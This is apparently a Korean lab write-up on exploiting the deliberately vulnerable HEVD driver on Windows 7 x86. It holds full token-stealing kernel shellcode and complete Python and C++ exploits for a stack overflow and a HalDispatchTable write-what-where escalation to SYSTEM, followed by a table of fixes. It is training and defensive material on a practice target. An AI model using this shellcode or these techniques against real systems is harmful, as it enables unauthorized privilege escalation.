대상: HackSys Extreme Vulnerable Driver (HEVD), Windows 7 x86
환경: WinDbg 커널 디버깅 (bcdedit /debug on, 시리얼 연결)
개요
HEVD(HackSys Extreme Vulnerable Driver)는 IOCTL 핸들러를 통해 다양한 취약점 유형을 노출시키도록 설계된 취약한 Windows 커널 드라이버다. 이 포스트에서는 두 가지 취약점을 다룬다:
- 스택 버퍼 오버플로우 (
IOCTL 0x222003) — 경계 검사 없이RtlCopyMemory에 사용자 제어 크기가 전달됨 - 임의 쓰기 (Write-What-Where) (
IOCTL 0x22200B) — 검증되지 않은 커널 모드 포인터 쓰기를 통한 임의 쓰기
두 취약점 모두 일반 사용자 프로세스에서 SYSTEM 권한 상승으로 이어진다.
드라이버 기초 개념
드라이버 정의 및 종류
드라이버는 응용프로그램과 OS, 하드웨어 장치 사이의 중간 계층 역할을 한다.



WDM 드라이버와 디바이스 스택


권한 콜백함수

환경 설정 및 명령어

IOCTL과 드라이버 통신 기초
HEVD 드라이버에 대한 요청을 하려면 통신을 위한 Handle을 열어야 한다. 드라이버는 HackSysExtremeVulnerableDriver라는 장치를 생성하며, 성공하면 장치에 IOCTL에 대한 IRP 핸들러가 할당된다.
RtlInitUnicodeString(&DeviceName, L"\\Device\\HackSysExtremeVulnerableDriver");
RtlInitUnicodeString(&DosDeviceName, L"\\DosDevices\\HackSysExtremeVulnerableDriver");
Status = IoCreateDevice(DriverObject, 0, &DeviceName,
FILE_DEVICE_UNKNOWN, FILE_DEVICE_SECURE_OPEN,
FALSE, &DeviceObject);IOCTL은 IRP 요청에 캡슐화된 32비트 숫자다. CTL_CODE 매크로를 사용하여 정의한다:
#define IOCTL(Function) CTL_CODE(FILE_DEVICE_UNKNOWN, Function, METHOD_NEITHER, FILE_ANY_ACCESS)
#define HEVD_IOCTL_BUFFER_OVERFLOW_STACK IOCTL(0x800)
#define HEVD_IOCTL_ARBITRARY_WRITE IOCTL(0x802)IOCTL 코드 계산:
FILE_DEVICE_UNKNOWN = 0x00000022
FILE_ANY_ACCESS = 0x00000000
FUNCTION = 0x800
METHOD_NEITHER = 3
calc = hex((FILE_DEVICE_UNKNOWN << 16) | (FILE_ANY_ACCESS << 14) | (FUNCTION << 2) | METHOD_NEITHER)
print(calc) # 0x222003취약점 1: 스택 버퍼 오버플로우
취약한 코드
__declspec(safebuffers)
NTSTATUS TriggerBufferOverflowStack(
_In_ PVOID UserBuffer,
_In_ SIZE_T Size
)
{
NTSTATUS Status = STATUS_SUCCESS;
ULONG KernelBuffer[BUFFER_SIZE] = { 0 }; // BUFFER_SIZE = 0x200 (512 bytes)
PAGED_CODE();
__try {
ProbeForRead(UserBuffer, sizeof(KernelBuffer), (ULONG)__alignof(UCHAR));
// UserMode 버퍼가 실제 주소 공간의 사용자 부분에 있고 정렬되었는지 확인
#ifndef SECURE
// 취약점: 사용자 제공 Size를 경계 검사 없이 직접 전달
RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, Size);
#else
RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, sizeof(KernelBuffer));
#endif
}
__except (EXCEPTION_EXECUTE_HANDLER) {
Status = GetExceptionCode();
}
return Status;
}ProbeForRead는 UserBuffer가 사용자 모드 주소 공간에 있는지만 검증하며, Size는 검증하지 않는다. Size > sizeof(KernelBuffer)를 전달하면 커널 스택 오버플로우가 발생한다.
이 드라이버는 버퍼가 512 × ULONG(4) = 2048(0x800) 바이트의 크기를 가진다. TriggerBufferOverflowStack 함수로 버퍼와 길이를 받아와 RtlCopyMemory로 그대로 복사하기 때문에, 이 부분에서 BOF가 발생한다.
버그 트리거 및 오프셋 확인
우선 2048바이트 버퍼로 트리거한다:
import ctypes, sys
from ctypes import *
kernel32 = windll.kernel32
dev = kernel32.CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", 0xC0000000, 0, None, 0x3, 0, None)
if not dev or dev == -1:
print "*** Couldn't get Device Driver handle."
sys.exit(0)
buf = "A" * 2048
bufLength = len(buf)
kernel32.DeviceIoControl(dev, 0x222003, buf, bufLength, None, 0, byref(c_ulong()), None)아직 버퍼 크기 내이므로 아무 일도 일어나지 않는다.

버퍼 크기를 0x900으로 키우면 EBP, EIP가 변조되고 블루스크린이 발생한다.


이제 EIP를 덮는 오프셋을 찾아야 한다. pwntools의 cyclic이나 mona의 pattern_create 등을 활용한다.

Windows 7 x86 구조체 오프셋
| 구조체 | 필드 | 오프셋 |
|---|---|---|
_KPCR.PcrbData.CurrentThread | FS:[0x124] | — |
_KTHREAD.ApcState.Process | +0x50 | — |
_EPROCESS.UniqueProcessId | +0xB4 | — |
_EPROCESS.ActiveProcessLinks.Flink | +0xB8 | — |
_EPROCESS.Token | +0xF8 | — |
WinDbg로 오프셋 확인:
kd> dt nt!_KPCR
+0x120 PrcbData : _KPRCB
kd> dt nt!_KPRCB
+0x004 CurrentThread : Ptr32 _KTHREAD따라서 0x120 + 0x004 = 0x124에 CurrentThread 값이 있다.
kd> dt nt!_EPROCESS
+0x0b4 UniqueProcessId : Ptr32 Void
+0x0b8 ActiveProcessLinks : _LIST_ENTRY
+0x0f8 Token : _EX_FAST_REFToken Stealing 쉘코드 원리
시스템에서 실행 중인 모든 프로세스에는 관련 데이터를 캡슐화하는 EPROCESS 구조체가 있다. Windows x86에서는 FS 레지스터가 가리키는 KPCR(Kernel Processor Control Region) 구조를 사용한다.
포인터 흐름: FS:[0x124] → _KTHREAD → ApcState.Process → _EPROCESS
LIST_ENTRY는 실행 중인 모든 프로세스를 연결하는 이중 연결 리스트이며, Flink는 다음 프로세스의 LIST_ENTRY를 가리킨다. 이를 탐색하여 SYSTEM 프로세스(PID 4)를 찾고, 그 Token을 현재 프로세스의 _EPROCESS에 복사하는 것이 기본 기법이다.
Token은 _EX_FAST_REF 공용체에 저장되며, RefCnt(참조 카운터)와 Value 두 필드가 있다. 안정성을 위해 RefCnt를 보존하는 마스킹이 필요하다:
? [token] & 0xFFFFFFF8 ; 마지막 3비트(RefCnt) 제거Token Stealing 쉘코드 (x86)
pushad
xor eax, eax
mov eax, fs:[eax + 0x124] ; KPCR → CurrentThread (_KTHREAD)
mov eax, [eax + 0x50] ; _KTHREAD → ApcState.Process (_EPROCESS)
mov ecx, eax ; 현재 프로세스의 EPROCESS 저장
mov edx, 0x4 ; SYSTEM PID
search_system_process:
mov eax, [eax + 0xb8] ; ActiveProcessLinks.Flink
sub eax, 0xb8 ; 다음 EPROCESS 시작으로 돌아가기
cmp [eax + 0xb4], edx ; UniqueProcessId == 4?
jnz search_system_process
mov edx, [eax + 0xf8] ; SYSTEM 프로세스 Token
and edx, 0xFFFFFFF8 ; RefCnt 비트 제거
mov edi, [ecx + 0xf8] ; 현재 프로세스 Token
and edi, 0x7 ; RefCnt 보존
add edx, edi
mov [ecx + 0xf8], edx ; 현재 프로세스 Token 덮어쓰기
popad
xor eax, eax ; STATUS_SUCCESS
pop ebp
ret 8익스플로잇 코드 (Python 2 / ctypes)
NX(DEP)가 걸려 있기 때문에 VirtualAlloc()으로 실행 가능한(RWX) 메모리 블록을 할당하고 쉘코드를 복사하여 우회한다.
import ctypes, sys, struct
from ctypes import *
from subprocess import *
def main():
kernel32 = windll.kernel32
hevDevice = kernel32.CreateFileA(
"\\\\.\\HackSysExtremeVulnerableDriver",
0xC0000000, 0, None, 0x3, 0, None
)
if not hevDevice or hevDevice == -1:
print "[-] Failed to get device handle"
sys.exit(0)
shellcode = bytearray(
"\x60" # pushad
"\x31\xc0" # xor eax, eax
"\x64\x8b\x80\x24\x01\x00\x00" # mov eax, [fs:eax+0x124]
"\x8b\x40\x50" # mov eax, [eax+0x50]
"\x89\xc1" # mov ecx, eax
"\xba\x04\x00\x00\x00" # mov edx, 0x4
"\x8b\x80\xb8\x00\x00\x00" # mov eax, [eax+0xb8]
"\x2d\xb8\x00\x00\x00" # sub eax, 0xb8
"\x39\x90\xb4\x00\x00\x00" # cmp [eax+0xb4], edx
"\x75\xed" # jnz -19
"\x8b\x90\xf8\x00\x00\x00" # mov edx, [eax+0xf8]
"\x89\x91\xf8\x00\x00\x00" # mov [ecx+0xf8], edx
"\x61" # popad
"\x31\xc0" # xor eax, eax
"\x5d" # pop ebp
"\xc2\x08\x00" # ret 0x8
)
ptr = kernel32.VirtualAlloc(
c_int(0), c_int(len(shellcode)),
c_int(0x3000), c_int(0x40) # MEM_COMMIT|RESERVE, PAGE_EXECUTE_READWRITE
)
buff = (c_char * len(shellcode)).from_buffer(shellcode)
kernel32.RtlMoveMemory(c_int(ptr), buff, c_int(len(shellcode)))
shellcode_ptr = struct.pack("<L", ptr)
# 스택 레이아웃: 0x820바이트 패딩 + EBP (4) + EIP (쉘코드 포인터)
buf = "A" * 0x820 + "\x44\x44\x44\x44" + shellcode_ptr
kernel32.DeviceIoControl(
hevDevice, 0x222003,
buf, len(buf),
None, 0, byref(c_ulong()), None
)
Popen("start cmd", shell=True)
if __name__ == "__main__":
main()


취약점 2: 임의 쓰기 (Write-What-Where)
취약한 코드
NTSTATUS TriggerArbitraryWrite(
_In_ PWRITE_WHAT_WHERE UserWriteWhatWhere
)
{
PULONG_PTR What = NULL;
PULONG_PTR Where = NULL;
NTSTATUS Status = STATUS_SUCCESS;
PAGED_CODE();
__try {
ProbeForRead((PVOID)UserWriteWhatWhere,
sizeof(WRITE_WHAT_WHERE),
(ULONG)__alignof(UCHAR));
What = UserWriteWhatWhere->What;
Where = UserWriteWhatWhere->Where;
// 취약점: 'Where'와 'What'이 가리키는 값이 사용자 모드에 있는지
// 제대로 검증하지 않고 'What'이 가리키는 값을 'Where'가 가리키는
// 메모리 위치에 쓴다.
*(Where) = *(What);
}
__except (EXCEPTION_EXECUTE_HANDLER) {
Status = GetExceptionCode();
}
return Status;
}이것은 write-what-where 프리미티브다: 커널 공간에서 소스(What)와 목적지(Where) 포인터를 모두 제어할 수 있다. 즉, 커널 주소 공간의 임의 위치에 임의의 값을 쓸 수 있다.




IOCTL 코드 계산
FILE_DEVICE_UNKNOWN = 0x00000022
FILE_ANY_ACCESS = 0x00000000
FUNCTION = 0x802 # arbitrary write function index
METHOD_NEITHER = 3
ioctl = (FILE_DEVICE_UNKNOWN << 16) | (FILE_ANY_ACCESS << 14) | (FUNCTION << 2) | METHOD_NEITHER
print(hex(ioctl)) # 0x22200b익스플로잇 전략: HalDispatchTable 덮어쓰기
좋은 덮어쓰기 대상은 커널의 DispatchTable 중 하나인 nt!HalDispatchTable이다. 이 테이블은 HAL 루틴의 주소를 보유하는 함수 포인터 배열이다.
nt!HalDispatchTable+0x4는 hal!HaliQuerySystemInformation에 대한 포인터를 갖는다. 이 함수는 NtQueryIntervalProfile(사용자 모드에서 권한 상승 없이 호출 가능한 미문서화 NT 시스템 콜)이 내부적으로 호출한다.
kd> dps nt!KeServiceDescriptorTable L4
82babb00 82aa1cbc nt!KiServiceTable
82babb04 00000000
82babb08 00000191
82babb0c 82aa2304 nt!KiArgumentTable
kd> u nt!KeQueryIntervalProfile+0x23
82d0f599 call dword ptr [nt!HalDispatchTable+0x4 (82b6f34c)]공격 흐름:
NtQuerySystemInformation(SystemModuleInformation)+ 사용자 모드LoadLibrary오프셋 계산으로nt!HalDispatchTable커널 VA 누출- Write-What-Where 프리미티브를 사용하여
HalDispatchTable+0x4를 쉘코드 주소로 덮어쓰기 NtQueryIntervalProfile호출로 덮어쓴 함수 포인터 트리거
커널 베이스 누출 및 HalDispatchTable 주소 획득
// NtQuerySystemInformation class 11로 커널 모듈 목록 획득
NTSTATUS callResult = NtQuerySystemInformation(
(SYSTEM_INFORMATION_CLASS)11, &bufferPtr, 0, &SystemInformationLength);
// 적절한 크기로 재쿼리
callResult = NtQuerySystemInformation(
(SYSTEM_INFORMATION_CLASS)11, moduleInfoBuf,
moduleInfoBufSize, &SystemInformationLength);
LPVOID kernelBase = moduleInfoBuf->Module[0].Base;
PCHAR kernelImage = moduleInfoBuf->Module[0].ImagePath + pathLength;
// 커널 이미지를 사용자 모드에 로드하여 심볼 오프셋 계산
HMODULE umHandle = LoadLibraryA(kernelImage);
LPVOID umHDT = GetProcAddress(umHandle, "HalDispatchTable");
LPVOID kmHDT = (PUCHAR)umHDT - (PUCHAR)umHandle + (PUCHAR)kernelBase;ASLR 우회를 위해 로드된 모듈의 베이스 주소가 있으므로, 유저랜드에서 로드한 커널 이미지 핸들을 통해 커널의 실제 HalDispatchTable 주소를 계산할 수 있다.

취약점 테스트 (What=AAAA, Where=BBBB)
PULONG lpInBuffer = (PULONG)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 0x8);
RtlFillMemory((PVOID)lpInBuffer, 0x4, 0x41); // What
RtlFillMemory((PVOID)(lpInBuffer + 1), 0x4, 0x42); // Where
DeviceIoControl(hDev, HACKSYS_EVD_IOCTL_ARBITRARY_OVERWRITE,
(LPVOID)lpInBuffer, (DWORD)0x8, NULL, 0, &lpBytesReturned, NULL);결과: 0x42424242 주소에 쓰기를 시도하여 접근 예외 발생. What과 Where를 모두 제어할 수 있음이 확인된다.

전체 익스플로잇 (C++)
LPVOID whereAddress = (LPVOID)((ULONG)HALDispatchTable + 0x4);
// Token Stealing 쉘코드 (위와 동일, ret 대신 ret만)
LPVOID shellcodeAddress = VirtualAlloc(NULL, sizeof(shellcode),
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(shellcodeAddress, shellcode, sizeof(shellcode));
LPVOID sourceAddress = &shellcodeAddress;
// WRITE_WHAT_WHERE: [What(4)] + [Where(4)]
byte theArray[8];
memcpy(theArray, &sourceAddress, 4); // What = &shellcodeAddress
memcpy(theArray + 4, &whereAddress, 4); // Where = HalDispatchTable+0x4
DeviceIoControl(deviceHandle, 0x22200B, theArray, sizeof(theArray),
NULL, 0, &bytesReturned, NULL);
// 트리거: NtQueryIntervalProfile이 내부적으로 HalDispatchTable[1]을 호출
// 이제 이것이 쉘코드를 가리킨다
NtQueryIntervalProfile(0xB00D, &bytesReturned);
// SYSTEM 쉘 실행
CreateProcessA("C:\\Windows\\System32\\cmd.exe", ...);핵심 정리
| 취약점 | 근본 원인 | 수정 방법 |
|---|---|---|
| 스택 BOF | 사용자 제공 Size를 사용한 RtlCopyMemory | sizeof(KernelBuffer)를 복사 경계로 사용 |
| 임의 쓰기 | 포인터 검증 없는 *(Where) = *(What) | ProbeForWrite(Where) — 커널은 사용자 모드에서 제공된 주소에 절대 써서는 안 됨 |
두 취약점은 동일한 완화 주제를 공유한다: 철저한 검증 없이 사용자 제공 값을 사용하는 커널 모드 포인터 연산을 절대 신뢰하지 말 것.
